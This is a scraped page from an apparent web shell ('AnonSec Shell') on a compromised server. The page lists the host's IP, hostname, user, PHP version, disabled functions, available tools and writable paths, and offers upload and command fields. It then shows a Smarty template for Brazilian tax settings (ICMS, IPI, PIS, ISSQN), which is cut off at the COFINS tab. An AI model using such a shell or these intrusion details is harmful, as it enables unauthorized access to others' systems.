AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/ui/theme/lrsys/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/ui/theme/lrsys/form-nature-operation.tpl
{include file="sections/header.tpl"}
<div class="wrapper wrapper-content">
    <div class="row">
        <div class="col-md-12">

            <div class="ibox float-e-margins">
                <div class="ibox-title">
                    <h5>{$_L['Nature Of Operation']}</h5>
                </div>
                <div class="ibox-content" id="ibox_form">
                    <div class="alert alert-danger" id="emsg">
                        <span id="emsgbody"></span>
                    </div>

                    <form id="nature_form" name="nature_form" action="" >
                        <input type="hidden" id="id" name="id" value="{$d['id']}">
                        <div class="row">
                            <div class="col-md-12 form-group">
                                <label >{$_L['Description']}</label>
                                <input type="text" maxlength="60" id="name" name="name" value="{$d['name']}" class="form-control">
                            </div>
                            <div class="col-md-4 form-group">
                                <label for="crt">{$_L['Tax Regime Code']}</label>
                                <select id="crt" name="crt" class="form-control">
                                    <option value="1" {if $d['crt']==1}selected{/if}>{$_L['Simple national']}</option>
                                    <option value="3"  {if $d['crt']==3}selected{/if}  {if empty($d['crt'])}selected{/if}>{$_L['Normal Regime']}</option>
                                </select>
                            </div>
                        </div>


                        <ul class="nav nav-tabs">
                            <li class="active li-icms"><a style="" data-toggle="tab" href="#icms">{$_L['ICMS']}</a></li>
                            <li class="li-simple hide"><a data-toggle="tab" href="#simples">{$_L['Simple national']}</a></li>
                            <li><a data-toggle="tab" href="#ipi">{$_L['IPI'] }</a></li>
                            <li><a data-toggle="tab" href="#issqn">{$_L['ISSQN'] }</a></li>
                            <li><a data-toggle="tab" href="#pis">{$_L['PIS'] }</a></li>
                            <li><a data-toggle="tab" href="#cofins">{$_L['COFINS'] }</a></li>
                            <li><a data-toggle="tab" href="#ca">{$_L['Settings Advanced'] }</a></li>
                            <li><a data-toggle="tab" href="#obs">{$_L['Obs'] }</a></li>
                        </ul>

                        <div class="tab-content">

                            <div id="icms" class="tab-pane fade in active">
                                <div class="cont-tributacao tributacao-icms" style="">
                                    <div class="form-group top10">
                                        <label for="icms_st">{$_L['Tax situation (CST)']}</label>
                                        <select id="icms_st" name="icms_st" class="form-control">
                                            <option  value="">{$_L['Select']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='00' }selected{/if} value="00">{$_L['00 - Fully taxed']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='10' }selected{/if} value="10">{$_L['10 - Taxed and with ICMS tax collection for tax substitution']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='20' }selected{/if} value="20">{$_L['20 - With reduction of base of calculation']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='30' }selected{/if} value="30">{$_L['30 - Exempt or not taxed and with ICMS tax collection for tax substitution']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='40' }selected{/if} value="40">{$_L['40 - Exempt']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='41' }selected{/if} value="41">{$_L['41 - Not taxed']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='50' }selected{/if} value="50">{$_L['50 - Suspension']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='51' }selected{/if} value="51">{$_L['51 - Deferral']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='60' }selected{/if} value="60">{$_L['60 - ICMS charged previously for tax substitution']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='70' }selected{/if} value="70">{$_L['70 - With reduction of calculation base and collection of ICMS by tax substitution']}</option>
                                            <option {if $d['param_value']['ICMS']['st']=='90' }selected{/if} value="90">{$_L['90 - Other']}</option>	
                                        </select>
                                    </div>

                                    <div class="row">
                                        <div class="col-md-12 form-group">
                                            <label for="icms_cfop">CFOP <i class="fa fa-info-circle text-success" data-toggle="tooltip" data-placement="top" title="{$_L['Will the system fit the CFOP with? according to the origin and destination. Ex. ?.101 will correspond to 1.101']}"></i> </label>
                                            <select id="icms_cfop" name="icms_cfop" class="form-control">
                                                <option  value="">{$_L['Select']}</option>
                                                {foreach $listaCfop as $lc}
                                                    <option {if $d['param_value']['ICMS']['cfop']==$lc['code_cfop'] }selected{/if} value="{$lc['code_cfop']}">{$lc['code_cfop']} - {$lc['desc_cfop']}</option>
                                                {/foreach}
                                            </select>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="icms_aliquota">{$_L['Aliquote']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde form-control percent" value="{if isset($d['param_value']['ICMS']['aliquota'])}{$d['param_value']['ICMS']['aliquota']}{/if}" id="icms_aliquota" name="icms_aliquota">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">{$_L['Interstate (own)']}</p>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="icms_possui_partilha_interestadual">{$_L['ICMS Share Interstate']}</label>
                                            <select class="form-control" id="icms_possui_partilha_interestadual" name="icms_possui_partilha_interestadual">
                                                <option value="Y" {if $d['param_value']['ICMS']['possui_partilha_interestadual']=='Y' }selected{/if}> {$_L['Yes']}</option>
                                                <option value="N" {if $d['param_value']['ICMS']['possui_partilha_interestadual']=='N' }selected{/if}> {$_L['No']}</option>
                                            </select>
                                            <p class="help-block">{$_L['ICMS for Destination UF']}</p>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-md-4 form-group icms_base hide">
                                            <label for="icms_base">{$_L['Base']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-valor form-control percent4" value='{$d['param_value']['ICMS']['base']}' id="icms_base" name="icms_base">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group hide icms_baseDiferimento">
                                            <label for="icms_base_diferimento">{$_L['Deferral Basis']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-valor form-control percent4" value='{$d['param_value']['ICMS']['base_diferimento']}' id="icms_base_diferimento" name="icms_base_diferimento">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group hide icms_alqPresumido">
                                            <label for="icms_alq_presumido">{$_L['Presumed']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-valor form-control percent4" value='{$d['param_value']['ICMS']['alq_presumido']}' id="icms_alq_presumido" name="icms_alq_presumido">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>
                                    </div>

                                    <div class="form-group">
                                        <label for="icms_obs">{$_L['Observations of ICMS']}</label>
                                        <input type="text" name="icms_obs" value="{$d['param_value']['ICMS']['obs']}" id="icms_obs" class="form-control">
                                        <p class="help-block">
                                            {$_L['To display values ​​in observations, use the']}
                                            <a href="#" class="grey-link" onclick="$(this).hide();
                                                            $('#help-icms_observacoes').removeClass('hide');
                                                            return false;">{$_L['available variables.']}</a>
                                            <span id="help-icms_observacoes" class="hide">{$_L['variables']} [VALOR_BASE_ICMS], [VALOR_BASE_DIFERIMENTO], [VALOR_DIFERIMENTO], [VALOR_CREDITO_ICMS], [ICMS_PRESUMIDO], [ALIQUOTA_CREDITO_ICMS], [VALOR_ICMS_DESONERADO], [NUMERO_CUPOM] e [DATA_CUPOM],{$_L['including the brackets.']}</span>
                                        </p>
                                    </div>
                                </div>
                                <div id="icms_div_st" class="" style="">
                                    <h3 id="icms_lbl_substituicao_tributaria" class="page-header">{$_L['Tax Substitution']}</h3>
                                    <div class="row">
                                        <div class="col-md-4 form-group">
                                            <label for="icms_icms_st_alq">{$_L['Aliquote']} {$_L['ICMS ST']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde percent form-control" name="icms_icms_st_alq" value='{$d['param_value']['ICMS']['icms_icms_st_alq']}'  id="icms_icms_st_alq">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">{$_L['In the destination state']}</p>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="icms_modBCST">{$_L['Method Calculation Base']}</label>
                                            <select class="form-control" id="icms_modBCST" name="icms_modBCST">
                                                <option value="0" {if $d['param_value']['ICMS']['icms_modBCST']=='0' }selected{/if}> {$_L['0 - Max Price Table']}</option>
                                                <option value="1" {if $d['param_value']['ICMS']['icms_modBCST']=='1' }selected{/if}> {$_L['1 - Negative List (value)']}</option>
                                                <option value="2" {if $d['param_value']['ICMS']['icms_modBCST']=='2' }selected{/if}> {$_L['2 - Positive List (value)']}</option>
                                                <option value="3" {if $d['param_value']['ICMS']['icms_modBCST']=='3' }selected{/if}> {$_L['3 - Neutral List (value)']}</option>
                                                <option value="4" {if $d['param_value']['ICMS']['icms_modBCST']=='4' }selected{/if}> {$_L['4 - Value Added Margin (%)']}</option>
                                                <option value="5" {if $d['param_value']['ICMS']['icms_modBCST']=='5' }selected{/if}> {$_L['5 - Fare (value)']}</option>
                                            </select>
                                            <p class="help-block">{$_L['ICMS for Destination UF']}</p>
                                        </div>
                                        <div class="col-md-4 form-group">
                                            <label for="icms_icms_st_base">{$_L['Calculation Base']} {$_L['ICMS ST']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-valor percent4 form-control" value='{$d['param_value']['ICMS']['icms_icms_st_base']}' id="icms_icms_st_base" name="icms_icms_st_base">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">≠ 100 {$_L['only if there is reduction']}</p>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="icms_icms_st_valor_adicionado">MVA / IVA</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde percent form-control" id="icms_icms_st_valor_adicionado" value='{$d['param_value']['ICMS']['icms_icms_st_valor_adicionado']}' name="icms_icms_st_valor_adicionado">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">{$_L['Additional Margin of ICMS']}</p>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="icms_pis_st_alq">{$_L['Aliquote']} {$_L['PIS']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde percent form-control" id="icms_pis_st_alq" value='{$d['param_value']['ICMS']['icms_pis_st_alq']}' name="icms_pis_st_alq">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">{$_L['PIS']} {$_L['on tax substitution']}</p>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="icms_cofins_st_alq">{$_L['Aliquote']} {$_L['COFINS']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde percent form-control" id="icms_cofins_st_alq" value='{$d['param_value']['ICMS']['icms_cofins_st_alq']}' name="icms_cofins_st_alq">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                            <p class="help-block">{$_L['COFINS']} {$_L['on tax substitution']}</p>
                                        </div>
                                    </div>
                                </div>  
                                <div >
                                    <div class="spacer20"></div>
                                    <h4 id="lbl_excecoes_imposto">{$_L['Exception ICMS']}</h4>
                                    <table class="table  table-hove table-bordered" id="exceptions_icms">
                                        <thead>
                                            <tr>
                                                <th class="col-md-2">{$_L['Destiny']}(s)</th>
                                                <th class="col-md-5">{$_L['Product']}(s)</th>
                                                <th class="col-md-1" >{$_L['CFOP']} </th>
                                                <th class="col-md-3">{$_L['Tax situation (CST)']}</th>
                                                <th  class="col-xs-1"></th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            {if not empty($d['param_value']['ICMS']['exception'])}
                                                {foreach $d['param_value']['ICMS']['exception'] as $e}

                                                    <tr>
                                                        <td class="edit_regra" data-type="icms" id="exception_icms_destiny_{$rowExceptionIcms}" data-row="{$rowExceptionIcms}">{$e['descriptionDestiny']}</td>
                                                        <td class="edit_regra" data-type="icms" id="exception_icms_products_{$rowExceptionIcms}" data-row="{$rowExceptionIcms}">{$e['descriptionProducts']}</td>
                                                        <td class="edit_regra" data-type="icms" id="exception_icms_cfop_{$rowExceptionIcms}" data-row="{$rowExceptionIcms}" > {$e['icms_cfop']}</td>
                                                        <td class="edit_regra" data-type="icms" id="exception_icms_st_{$rowExceptionIcms}"  data-row="{$rowExceptionIcms}">{$e['descriptionST']}</td>
                                                        <td class="nowrap">
                                                            <input type="hidden" class="" id="icms_data_exception_{$rowExceptionIcms}" name="icms_exception[]" value='{$e['json']}'></input>
                                                            <button class="btn btn-default btn-xs clonar_regra" data-type="icms"  data-row="{$rowExceptionIcms++}" type="button"  title="Clonar Regra"><i class="fa fa-fw fa-clone"></i></button>
                                                            <button class="btn btn-default btn-xs btn-danger remove_regra" type="button" ><i class="fa fa-fw fa-remove"></i>
                                                            </button>
                                                        </td>
                                                    </tr>
                                                {/foreach}
                                            {/if}


                                        </tbody>
                                    </table>
                                </div>
                                <input type="hidden" id="rowExceptionIcms" value="{$rowExceptionIcms}">
                                <a href="#" class="add_exception" data-title="{$_L['ICMS']}" data-table="exceptions_icms" data-type="icms" ><i class="fa fa-plus"></i> {$_L['Add exception']}</a>
                            </div>                       


                            <div id="ipi" class="tab-pane fade in">                            
                                <div class="cont-tributacao tributacao-ipi" style="">
                                    <div class="form-group top10">
                                        <label for="ipi_st">{$_L['Tax situation (CST)']}</label>
                                        <select id="ipi_st" name="ipi_st" class="form-control">
                                            <option value="Selecione">{$_L['Select']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='50' }selected{/if} value="50">{$_L['50 - Taxable income']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='51' }selected{/if} value="51">{$_L['51 - Taxed income with zero rate']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='52' }selected{/if} value="52">{$_L['52 - Exempt output']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='53' }selected{/if} value="53">{$_L['53 - Non-taxable outflow']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='54' }selected{/if} value="54">{$_L['54 - Immune output']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='55' }selected{/if} value="55">{$_L['55 - Output with suspension']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='99' }selected{/if} value="99">{$_L['99 - Other exits']}</option>
                                            <option {if $d['param_value']['IPI']['st']=='ZZ' }selected{/if} value="ZZ">{$_L['Presumed']}</option>		
                                        </select>
                                    </div>
                                    <div class="row">
                                        <div class="col-md-4 form-group ipi_st_ZZ">
                                            <label for="ipi_aliquota">{$_L['Aliquote']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde form-control percent4" id="ipi_aliquota" value="{$d['param_value']['IPI']['aliquota']}" name="ipi_aliquota" size="4">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group ipi_st_ZZ">
                                            <label for="ipi_c_enq">{$_L['IPI framework class']}</label>
                                            <div class="input-group">
                                                <input type="text" class="form-control" value="{$d['param_value']['IPI']['c_enq']}" id="ipi_c_enq" name="ipi_c_enq">
                                                <span class="input-group-btn">
                                                    <button id='list_ipi_framework' type="button" class="btn btn-default"><i class="fa fa-fw fa-search"></i></button>
                                                </span>
                                            </div>
                                            <p class="help-block">{$_L['IPI Legal Framework']} </p>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="ipi_obs">{$_L['IPI Observations']}</label>
                                        <input type="text" name="ipi_obs" id="ipi_obs" value="{$d['param_value']['IPI']['obs']}" class="form-control">
                                    </div>

                                    <div >
                                        <div class="spacer20"></div>
                                        <h4 id="lbl_excecoes_imposto">{$_L['Exception IPI']}</h4>
                                        <table class="table  table-hove table-bordered" id="exceptions_ipi">
                                            <thead>
                                                <tr>
                                                    <th class="col-md-2">{$_L['Destiny']}(s)</th>
                                                    <th class="col-md-6">{$_L['Product']}(s)</th>
                                                    <th class="col-md-3">{$_L['Tax situation (CST)']}</th>
                                                    <th  class="col-xs-1"></th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                {if not empty($d['param_value']['IPI']['exception'])}
                                                    {foreach $d['param_value']['IPI']['exception'] as $e}

                                                        <tr>
                                                            <td class="edit_regra" data-type="ipi" id="exception_ipi_destiny_{$rowExceptionIpi}" data-row="{$rowExceptionIpi}">{$e['descriptionDestiny']}</td>
                                                            <td class="edit_regra" data-type="ipi" id="exception_ipi_products_{$rowExceptionIpi}" data-row="{$rowExceptionIpi}">{$e['descriptionProducts']}</td>
                                                            <td class="edit_regra" data-type="ipi" id="exception_ipi_st_{$rowExceptionIpi}"  data-row="{$rowExceptionIpi}">{$e['descriptionST']}</td>
                                                            <td class="nowrap">
                                                                <input type="hidden" class="" id="ipi_data_exception_{$rowExceptionIpi}" name="ipi_exception[]" value='{$e['json']}'></input>
                                                                <button class="btn btn-default btn-xs clonar_regra" data-type="ipi"  data-row="{$rowExceptionIpi++}" type="button"  title="{$_L['Clone Rules']}"><i class="fa fa-fw fa-clone"></i></button>
                                                                <button class="btn btn-default btn-xs btn-danger remove_regra" type="button" ><i class="fa fa-fw fa-remove"></i>
                                                                </button>
                                                            </td>
                                                        </tr>
                                                    {/foreach}
                                                {/if}


                                            </tbody>
                                        </table>
                                    </div>
                                    <input type="hidden" id="rowExceptionIpi" value="{$rowExceptionIpi}">
                                    <a href="#" class="add_exception"  data-title="{$_L['IPI']}" data-type="ipi"  data-table="exceptions_ipi"><i class="fa fa-plus"></i> {$_L['Add exception']}</a>

                                </div>

                            </div>

                            <div id="pis" class="tab-pane fade in ">


                                <div class="cont-tributacao tributacao-pis ">
                                    <div class="form-group top10">
                                        <label for="pis_st">{$_L['Tax situation (CST)']}</label>
                                        <select id="pis_st" name="pis_st" class="form-control">
                                            <option value="Selecione">{$_L['Select']}</option>
                                            <option {if $d['param_value']['PIS']['st']==1 }selected{/if} value="01">01 - Operação tributável (alíquota normal, cumulativo ou não)</option>
                                            <option {if $d['param_value']['PIS']['st']==2 }selected{/if}  value="02">02 - Operação tributável (alíquota diferenciada)</option>
                                            <option {if $d['param_value']['PIS']['st']==3 }selected{/if}  value="03">03 - Operação tributável (alíquota por unidade de produto)</option>
                                            <option {if $d['param_value']['PIS']['st']==4 }selected{/if}  value="04">04 - Operação tributável (tributação monofásica, alíquota zero)</option>
                                            <option {if $d['param_value']['PIS']['st']==5 }selected{/if} value="05">05 - Operação Tributável (Substituição Tributária)</option>
                                            <option {if $d['param_value']['PIS']['st']==6 }selected{/if} value="06">06 - Operação tributável (alíquota zero)</option>
                                            <option {if $d['param_value']['PIS']['st']==7 }selected{/if} value="07">07 - Operação isenta da contribuição</option>
                                            <option {if $d['param_value']['PIS']['st']==8 }selected{/if} value="08">08 - Operação sem incidência da contribuição</option>
                                            <option {if $d['param_value']['PIS']['st']==9 }selected{/if}  value="09">09 - Operação com suspensão da contribuição</option>
                                            <option {if $d['param_value']['PIS']['st']==49 }selected{/if} value="49">49 - Outras Operações de Saída</option>
                                            <option {if $d['param_value']['PIS']['st']==50 }selected{/if}  value="50">50 - Operação com Direito a Crédito - Vinculada Exclusivamente a Receita Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['PIS']['st']==51 }selected{/if} value="51">51 - Operação com Direito a Crédito – Vinculada Exclusivamente a Receita Não Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['PIS']['st']==52 }selected{/if}  value="52">52 - Operação com Direito a Crédito - Vinculada Exclusivamente a Receita de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==53 }selected{/if} value="53">53 - Operação com Direito a Crédito - Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno</option>
                                            <option {if $d['param_value']['PIS']['st']==54 }selected{/if}  value="54">54 - Operação com Direito a Crédito - Vinculada a Receitas Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==55 }selected{/if}  value="55">55 - Operação com Direito a Crédito - Vinculada a Receitas Não-Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==56 }selected{/if}  value="56">56 - Operação com Direito a Crédito - Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno, e de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==60 }selected{/if}  value="60">60 - Crédito Presumido - Operação de Aquisição Vinculada Exclusivamente a Receita Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['PIS']['st']==61 }selected{/if}  value="61">61 - Crédito Presumido - Operação de Aquisição Vinculada Exclusivamente a Receita Não-Tributada no Mercado Interno</option>
                                            <option {if $d['param_value']['PIS']['st']==62 }selected{/if}  value="62">62 - Crédito Presumido - Operação de Aquisição Vinculada Exclusivamente a Receita de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==63 }selected{/if}  value="63">63 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno</option>
                                            <option {if $d['param_value']['PIS']['st']==64 }selected{/if}  value="64">64 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==65 }selected{/if}  value="65">65 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Não-Tributadas no Mercado Interno e de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==66 }selected{/if}  value="66">66 - Crédito Presumido - Operação de Aquisição Vinculada a Receitas Tributadas e Não-Tributadas no Mercado Interno, e de Exportação</option>
                                            <option {if $d['param_value']['PIS']['st']==67 }selected{/if}  value="67">67 - Crédito Presumido - Outras Operações</option>
                                            <option {if $d['param_value']['PIS']['st']==70 }selected{/if} value="70">70 - Operação de Aquisição sem Direito a Crédito</option>
                                            <option {if $d['param_value']['PIS']['st']==71 }selected{/if} value="71">71 - Operação de Aquisição com Isenção</option>
                                            <option {if $d['param_value']['PIS']['st']==72 }selected{/if} value="72">72 - Operação de Aquisição com Suspensão</option>
                                            <option {if $d['param_value']['PIS']['st']==73 }selected{/if} value="73">73 - Operação de Aquisição a Alíquota Zero</option>
                                            <option {if $d['param_value']['PIS']['st']==74 }selected{/if} value="74">74 - Operação de Aquisição sem Incidência da Contribuição</option>
                                            <option {if $d['param_value']['PIS']['st']==75 }selected{/if} value="75">75 - Operação de Aquisição por Substituição Tributária</option>
                                            <option {if $d['param_value']['PIS']['st']==98 }selected{/if} value="98">98 - Outras Operações de Entrada</option>
                                            <option {if $d['param_value']['PIS']['st']==99 }selected{/if}  value="99">99 - Outras operações</option>		
                                        </select>
                                    </div>

                                    <div class="row">
                                        <div class="col-md-4 form-group">
                                            <label for="pis_aliquota">{$_L['Aliquote']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-qtde form-control percent" id="pis_aliquota" name="pis_aliquota" size="4" value="{$d['param_value']['PIS']['aliquota']}">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="pis_base">{$_L['Base']}</label>
                                            <div class="input-group">
                                                <input type="text" class="edt-valor percent4 form-control" id="pis_base" name="pis_base" size="5" value="{$d['param_value']['PIS']['base']}">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>
                                    </div>

                                    <div class="form-group">
                                        <label for="pis_obs">{$_L['PIS Observations']}</label>
                                        <input value="{$d['param_value']['PIS']['obs']}" type="text" name="pis_obs" id="pis_obs" class="form-control">
                                    </div>
                                    <div >
                                        <div class="spacer20"></div>
                                        <h4 id="lbl_excecoes_imposto">{$_L['Exception PIS']}</h4>
                                        <table class="table  table-hove table-bordered" id="exceptions_pis">
                                            <thead>
                                                <tr>
                                                    <th class="col-md-2">{$_L['Destiny']}(s)</th>
                                                    <th class="col-md-6">{$_L['Product']}(s)</th>
                                                    <th class="col-md-3">{$_L['Tax situation (CST)']}</th>
                                                    <th  class="col-xs-1"></th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                {if not empty($d['param_value']['PIS']['exception'])}
                                                    {foreach $d['param_value']['PIS']['exception'] as $e}

                                                        <tr>
                                                            <td class="edit_regra" data-type="pis" id="exception_pis_destiny_{$rowExceptionPis}" data-row="{$rowExceptionPis}">{$e['descriptionDestiny']}</td>
                                                            <td class="edit_regra" data-type="pis" id="exception_pis_products_{$rowExceptionPis}" data-row="{$rowExceptionPis}">{$e['descriptionProducts']}</td>
                                                            <td class="edit_regra" data-type="pis" id="exception_pis_st_{$rowExceptionPis}"  data-row="{$rowExceptionPis}">{$e['descriptionST']}</td>
                                                            <td class="nowrap">
                                                                <input type="hidden" class="" id="pis_data_exception_{$rowExceptionPis}" name="pis_exception[]" value='{$e['json']}'></input>
                                                                <button class="btn btn-default btn-xs clonar_regra" data-type="pis"  data-row="{$rowExceptionPis++}" type="button"  title="{$_L['Clone Rules']}"><i class="fa fa-fw fa-clone"></i></button>
                                                                <button class="btn btn-default btn-xs btn-danger remove_regra" type="button" ><i class="fa fa-fw fa-remove"></i>
                                                                </button>
                                                            </td>
                                                        </tr>
                                                    {/foreach}
                                                {/if}


                                            </tbody>
                                        </table>
                                    </div>
                                    <input type="hidden" id="rowExceptionPis" value="{$rowExceptionPis}">

                                    <a href="#" class="add_exception" data-title="{$_L['PIS']}" data-type="pis"  data-table="exceptions_pis" ><i class="fa fa-plus"></i> {$_L['Add exception']}</a>

                                </div>
                            </div>
                            <!--ISSQN-->
                            <div id="issqn" class="tab-pane fade in ">
                                <div class="cont-tributacao tributacao-issqn top10 ">
                                    <div class="form-group">
                                        <label for="issqn_st">{$_L['Tax situation (CST)']}</label>
                                        <select id="issqn_st" name="issqn_st" class="form-control" onchange="atualizarArrayRegras(3, 'st', this.value);
                                            configCamposImpostoExcecao('ISSQN', this.value, 'issqn_', '');">
                                            <option value="Selecione">{$_L['Select']}</option>
                                            <option {if $d['param_value']['ISSQN']['st']==0 }selected{/if} value="00">{$_L['Taxed']}</option>
                                            <option {if $d['param_value']['ISSQN']['st']==1 }selected{/if} value="01">{$_L['Exempt']}</option>
                                            <option {if $d['param_value']['ISSQN']['st']==2 }selected{/if} value="02">{$_L['Other situation']}</option>		
                                        </select>
                                    </div>

                                    <div class="row">
                                        <div class="col-md-4 form-group">
                                            <label for="issqn_aliquote">{$_L['Aliquote']}</label>
                                            <div class="input-group">
                                                <input type="text" value="{$d['param_value']['ISSQN']['aliquota']}" class="edt-qtde form-control percent" id="issqn_aliquota" name="issqn_aliquota" size="4">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>



                                        <div class="col-md-4 form-group">
                                            <label for="issqn_base">{$_L['Base']}</label>
                                            <div class="input-group">
                                                <input type="text" value="{$d['param_value']['ISSQN']['base']}"  class="edt-valor form-control percent4" id="issqn_base" name="issqn_base" size="5">
                                                <span class="input-group-addon">%</span>
                                            </div>
                                        </div>

                                        <div class="col-md-4 form-group">
                                            <label for="issqn_desconta_iss_total_nota">{$_L['Discounting ISS']}</label>
                                            <select id="issqn_desconta_iss_total_nota" class="form-control" name="issqn_desconta_iss_total_nota">
                                                <option {if $d['param_value']['ISSQN']['desconta_iss_total_nota']=='N' }selected{/if}  value="N">{$_L['Yes']}</option>
                                                <option {if $d['param_value']['ISSQN']['desconta_iss_total_nota']=='Y' }selected{/if} value="Y">{$_L['No']}</option>
                                            </select>
                                            <p class="help-block">{$_L['Considered in the total of the note']}</p>
                                        </div>
                                    </div>

                                    <div class="form-group">
                                        <label for="issqn_obs">{$_L['ISSQN Observations']}</label>
                                        <input value="{$d['param_value']['ISSQN']['obs']}" type="text" name="issqn_obs" id="issqn_obs" class="form-control">
                                    </div>

                                    <div >
                                        <div class="spacer20"></div>
                                        <h4 id="lbl_excecoes_imposto">{$_L['Exception ISSQN']}</h4>
                                        <table class="table  table-hove table-bordered" id="exceptions_issqn">
                                            <thead>
                                                <tr>
                                                    <th class="col-md-2">{$_L['Destiny']}(s)</th>
                                                    <th class="col-md-6">{$_L['Product']}(s)</th>
                                                    <th class="col-md-3">{$_L['Tax situation (CST)']}</th>
                                                    <th  class="col-xs-1"></th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                {if not empty($d['param_value']['ISSQN']['exception'])}
                                                    {foreach $d['param_value']['ISSQN']['exception'] as $e}

                                                        <tr>
                                                            <td class="edit_regra" data-type="issqn" id="exception_issqn_destiny_{$rowExceptionIssqn}" data-row="{$rowExceptionIssqn}">{$e['descriptionDestiny']}</td>
                                                            <td class="edit_regra" data-type="issqn" id="exception_issqn_products_{$rowExceptionIssqn}" data-row="{$rowExceptionIssqn}">{$e['descriptionProducts']}</td>
                                                            <td class="edit_regra" data-type="issqn" id="exception_issqn_st_{$rowExceptionIssqn}"  data-row="{$rowExceptionIssqn}">{$e['descriptionST']}</td>
                                                            <td class="nowrap">
                                                                <input type="hidden" class="" id="issqn_data_exception_{$rowExceptionIssqn}" name="issqn_exception[]" value='{$e['json']}'></input>
                                                                <button class="btn btn-default btn-xs clonar_regra" data-row="{$rowExceptionIssqn++}" data-type="issqn" type="button"  title="{$_L['Clone Rules']}"><i class="fa fa-fw fa-clone"></i></button>
                                                                <button class="btn btn-default btn-xs btn-danger remove_regra" type="button" ><i class="fa fa-fw fa-remove"></i>
                                                                </button>
                                                            </td>
                                                        </tr>
                                                    {/foreach}
                                                {/if}


                                            </tbody>
                                        </table>
                                    </div>
                                    <input type="hidden" id="rowExceptionIssqn" value="{$rowExceptionIssqn}">

                                    <a href="#" class="add_exception" data-title="{$_L['ISSQN']}" data-type="issqn" data-table="exceptions_issqn"  ><i class="fa fa-plus"></i> {$_L['Add exception']}</a>

                                </div>

                            </div>

                            <div id="cofins" class="tab-pane fade in ">
                                <div class="cont-tributacao tributacao-cofins top10"> 
